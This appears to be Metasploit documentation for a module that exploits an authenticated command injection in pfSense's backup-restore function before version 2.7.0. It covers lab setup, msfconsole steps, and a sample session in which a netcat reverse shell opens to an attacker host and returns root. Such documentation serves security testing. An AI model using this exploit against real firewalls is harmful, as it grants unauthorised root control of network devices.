## Vulnerable Application This module exploits an authenticated command injection vulnerability in the `restore_rrddata()` function of pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege to execute arbitrary operating system commands as the `root` user. This module has been tested successfully on version 2.6.0-RELEASE. ### Installing the Application Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz) and then create a VMWare or VirtualBox VM using this ISO. Note that you may wish to use the BIOS boot method when prompted for which method to use for installation, rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings. Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs. For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER. Wait for setup to complete then try to browse to `http:///` replacing the placeholder with the IP address shown in the prompt. You should see the login page for pfSense. Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the module. ## Verification Steps 1. Start `msfconsole` 2. Do: `use exploit/unix/http/pfsense_config_data_exec` 3. Do: `set RHOST [IP]` 4. Do: `set USERNAME [username]` 5. Do: `set PASSWORD [password]` 6. Do: `set LHOST [IP]` 7. Do: `exploit` ## Options ## Scenarios ### pfSense Community Edition 2.6.0-RELEASE ``` msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec [*] Using configured payload cmd/unix/reverse_netcat msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1 RHOST => 1.1.1.1 msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2 LHOST => 2.2.2.2 msf6 exploit(unix/http/pfsense_config_data_exec) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] pfSense version: 2.6.0-RELEASE [+] The target is vulnerable. [*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300 id uid=0(root) gid=0(wheel) groups=0(wheel) whoami root ```